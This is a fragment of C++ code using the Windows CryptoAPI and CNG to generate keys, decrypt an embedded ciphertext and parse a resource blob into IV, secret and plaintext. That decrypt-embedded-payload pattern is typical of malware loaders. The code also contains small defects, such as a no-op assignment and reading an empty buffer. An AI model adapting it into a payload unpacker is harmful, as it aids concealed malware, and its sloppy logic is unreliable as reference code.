    status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING);
    if (status != STATUS_SUCCESS) {
    status = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    }
    else {
    error = GetLastError();
    }
    if (error) {
    throw error;
    }
    }

    void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) {
    auto error{ CryptEncrypt(_exchangeKey, NULL, TRUE, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) ? ERROR_SUCCESS : GetLastError() };
    if (error != ERROR_SUCCESS) {
    throw error;
    }
    }

    void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) {
    DWORD error{ 0 };
    auto algorithm{ OpenAlgorithm(L"RNG") };
    if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
    CryptDestroyKey(_exchangeKey);
    }
    if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
    DWORD blockLength;
    ULONG cbResult;
    auto status{ BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0) };
    if (status == STATUS_SUCCESS) {
    status = BCryptGenRandom(algorithm, iv.data(), iv.size(), 0);
    if (status == STATUS_SUCCESS) {
    if (HANDLE(key) != INVALID_HANDLE_VALUE) {
    BCryptDestroyKey(key);
    }
    status = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), secret.size(), 0);
    if (status != STATUS_SUCCESS) {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = status;
    }
    }
    else {
    error = GetLastError();
    }
    BCryptCloseAlgorithmProvider(algorithm, 0);
    if (error) {
    throw error;
    }
    }

    BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) {
    BCRYPT_ALG_HANDLE hAlgorithm;
    auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) };
    if (error != STATUS_SUCCESS) {
    throw error;
    }
    return hAlgorithm;
    }

    void main() {
    std::wstring cngProvider{ L"NAME" };
    DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine
    std::wstring keyContainer{ L"NAME" };
    CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0);

    std::vector<UCHAR> resourceData;
    cryptoProvider.Decrypt(resourceData);

    const auto headerSize{ sizeof(DWORD) * 3 };
    auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) };
    auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 };

    auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize };
    }